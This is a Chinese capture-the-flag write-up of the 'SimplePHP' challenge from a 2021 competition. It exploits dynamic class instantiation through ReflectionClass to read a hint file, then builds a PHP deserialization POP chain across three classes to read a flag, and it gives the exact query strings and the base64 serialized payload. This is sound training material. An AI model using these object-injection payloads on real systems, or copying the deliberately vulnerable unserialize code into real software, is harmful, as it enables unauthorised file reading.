2021年全国行业职业技能竞赛
SimplePHP
0x01 反射类-读取文件
是一道代码审计题,源码如下
<?php
/**
maybe you need get the contents in hint.php!
Ohhhhh you don't know how to get it?
Why don't you try readfile?
**/
error_reporting(0);
show_source(__FILE__);
Class Hello{
public $filename;
public $contents;
public function __construct(){
$this->filename = "hint.php";
$this->contents = "you guess";
}
public function fileread(){
echo "keep going";
}
}
$a = $_GET["a"];
$b = $_GET["b"];
$c = $_GET["c"];
$d = $_GET["d"];
$e = $_GET["e"];
$f = $_GET["f"];
$g = $_GET["g"];
$class = new $a($b);
$str1 = substr($class->$c(),$d,$e);
echo $str1."<br/>"; # 此处为自行添加方便调试
$str2 = substr($class->$c(),$f,$g);
echo $str."<br/>"; # 此处为自行添加方便调试
$str1($str2);
通过源码审计不难看出目标和目标触发点,其中目标为读取hint.php
,而目标触发点为$str1($str2)
大概思路整理一下就是:
-
达成目标为使用
$str1($str2)
去执行文件读取,即$str1
要为文件读取函数字符串,$str2
要为hint.php
字符串; -
先实例化一个类,类名为变量
$a
,传参为变量$b
-
$str1
的值是通过切割字符串,即切割起点为$d
,切割长度$e
,而字符串来源为实例化类$a
中类函数$c
的返回值,$str2
字符串同理。 -
但是目前可用的类只有
Hello
,而该类中唯一的类函数只有fileread()
,且没有返回值,所以只能通过官方内置类来入手。
PHP官网查看发现有一个反射类ReflectionClass,是可以获取文档注释的
且当前的注释文档中包含了readfile
,也包含了hint.php
字符串,所以思路可行。
构造url
为a=ReflectionClass&b=Hello&c=getDocComment&d=123&e=8&f=44&g=8
可以看到文件成功被读取到(具体的截取步骤就展示)
通过查看源代码可以看到比较全的代码
0x02 反序列化-读取flag文件
先把源码拷贝出来分析
<?php
error_reporting(0);
class AAA{
public $filename;
public $ppp;
public $img;
public function __construct()
{
var_dump($this -> this);
$this->filename = "flag.flag"; # 本地环境,修改了文件名称
}
public function fileread()
{
# 获取flag的关键函数,也是最终要被调用的函数
$content = base64_encode(file_get_contents($this->filename));
echo $content;
}
# 当访问一个不存在的类属性,该魔法方法会被调用
public function __get($name)
{
return $this->ppp[$name];
}
# 当访问一个不存在的类函数时,该魔法方法会被调用
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
class BBB{
public $app;
public function __construct()
{
$this->app = "";
}
# 当函数被销毁时,会自动调用该魔法函数
public function __destruct()
{
echo $this->app;
}
}
class CCC{
public $log;
public function __construct()
{
$this->log = "";
}
# 当echo 实例化类时,该魔法函数会被调用
public function __tostring()
{
$this->log->index();
}
}
unserialize(base64_decode($_GET["ser"]));
?>
一些比较重要的注释我已经写在上面了,只要理清楚这几个类之间的关系就行,其中反序列化有以下特征:
- 除了自动触发的魔法函数,无法触发自定义函数。
- 可以通过反序列化修改类属性
再理清楚三个类的魔法函数触发关系:
BBB
实例化后,并且运行结束后,会自动触发__destruct()
,而该魔法函数会执行echo $this->app
CCC
的魔法函数__tostring()
的触发需要借助echo
,且触发后会执行$this->log->index()
,也就是说BBB
能够触发CCC
的魔法函数AAA
的魔法函数__call()
的触发需要借助访问不存在的类函数,而CCC
能够触发AAA
的此魔法函数,且传进去的$name
为index- 当
AAA
访问不存在类属性时,会自动触发__get()
函数,即会触发return $this->ppp[$name]
,也就说,如果AAA
没有类属性时,会从类属性$ppp
数组查找。
而反序列化能够覆盖类原本的类属性,所以修改以上代码达到我们的要求:
<?php
error_reporting(0);
class AAA{
public $filename;
public $ppp = ['index' => 'fileread']; # 给类属性$ppp数组进行赋值
public $img;
public function __construct()
{
var_dump($this -> this);
$this->filename = "flag.flag";
}
public function fileread()
{
$content = base64_encode(file_get_contents($this->filename));
echo $content;
}
public function __get($name)
{
# 当$name为index时,返回fileread
return $this->ppp[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
# 通过行代码构造$this->fileread();从而达到读取flag文件的目的
$this->{$this->{$name}}($arguments);
}
}
}
class BBB{
public $app;
public function __construct()
{
# 将$app属性替换成CCC的实例化对象,使得在销毁时,能够触发CCC的__tostring()函数
$this->app = new CCC();
}
public function __destruct()
{
echo $this->app;
}
}
class CCC{
public $log;
public function __construct()
{
# 将$log替换为AAA的实例化对象,使得在触发了__tostring函数时,能够触发AAA的__call函数
$this->log = new AAA();
}
public function __tostring()
{
$this->log->index();
}
}
# unserialize(base64_decode($_GET["ser"]));
# 这时只需要实例化BBB即可,由BBB触发CCC、再通过CCC实例化对象中的$this->log->index()去触发AAA中的fileread()函数
$flag = new BBB();
echo base64_encode(serialize($flag));
?>
将源代码中的三个类构造成符合要求的条件,最后实例化BBB对象,并将其进行序列化,最终输出如下
TzozOiJCQkIiOjE6e3M6MzoiYXBwIjtPOjM6IkNDQyI6MTp7czozOiJsb2ciO086MzoiQUFBIjozOntzOjg6ImZpbGVuYW1lIjtzOjk6ImZsYWcuZmxhZyI7czozOiJwcHAiO2E6MTp7czo1OiJpbmRleCI7czo4OiJmaWxlcmVhZCI7fXM6MzoiaW1nIjtOO319fQ==
将该字符串作为ser
参数的值传入,即可获取到flag
然后进行base64解密即可得到flag(这个flag
为自己编的)
flag{this_is_SimplePHP}